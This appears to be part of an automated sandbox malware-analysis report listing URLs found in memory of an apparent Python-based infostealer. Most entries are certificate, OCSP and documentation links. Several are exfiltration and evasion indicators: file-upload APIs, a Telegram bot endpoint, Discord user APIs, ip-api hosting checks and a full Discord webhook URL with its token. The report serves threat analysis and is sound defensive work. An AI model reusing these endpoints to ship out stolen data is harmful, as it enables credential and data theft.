Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: _lzma.pyd.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: cmd.exe String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: cmd.exe String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: cmd.exe, 00000001.00000003.1711840734.000001C916513000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1710834242.000001C916513000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1707179329.000001C916513000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1713839904.000001C916513000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1710533213.000001C916513000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-
Source: cmd.exe, 00000001.00000003.1710834242.000001C9164F6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.28.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.28.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.28.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA84D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.28.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://google.com/
Source: cmd.exe, 00000001.00000002.2096563852.000001C916813000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://google.com/mail/
Source: cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hostingr;
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hostingr;r
Source: powershell.exe, 0000000A.00000002.1921700261.0000022BECA36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CC80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168E42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: http://ocsp.comodoca.com0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr String found in binary or memory: http://ocsp.digicert.com0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0N
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: http://ocsp.sectigo.com0
Source: cmd.exe String found in binary or memory: http://ocsp.sectigo.com0$
Source: cmd.exe, 00000000.00000002.2112093875.00000162C4338000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigoc
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E3A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 0000000A.00000002.1861065562.0000022BDCBE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000A.00000002.1861065562.0000022BDC9C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168CAC1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1861065562.0000022BDCBE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E115000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E3A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: cmd.exe, 00000001.00000002.2096563852.000001C916813000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: powershell.exe, 0000002A.00000002.1920794731.00000216A4D78000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.co
Source: cmd.exe, 00000001.00000002.2098403824.000001C916CB7000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1794009198.000001C916CB6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1936188709.000001C916CB7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://MD8.mozilla.org/1/m
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cmd.exe, 00000001.00000002.2100068134.000001C917A74000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 0000000A.00000002.1861065562.0000022BDC9C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168CAC1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://allegro.pl/
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://api.anonfiles.com/upload
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.anonfiles.com/uploadrU
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://api.gofile.io/getServer
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.gofile.io/getServerr;
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.gofile.io/getServerr;r
Source: cmd.exe, 00000001.00000003.1936488161.000001C916CF7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.stripe.com/v
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot%s/%s
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot%s/%s)
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot%s/%sp
Source: cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: https://d.symcb.com/cps0%
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: https://d.symcb.com/rpa0
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: https://d.symcb.com/rpa0.
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://discord.com/api/v9/users/
Source: cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://discord.com/api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2e
Source: cmd.exe, 00000001.00000002.2098529870.000001C916CF7000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1936488161.000001C916CF7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discordapp.com/api/v
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://discordapp.com/api/v9/users/
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
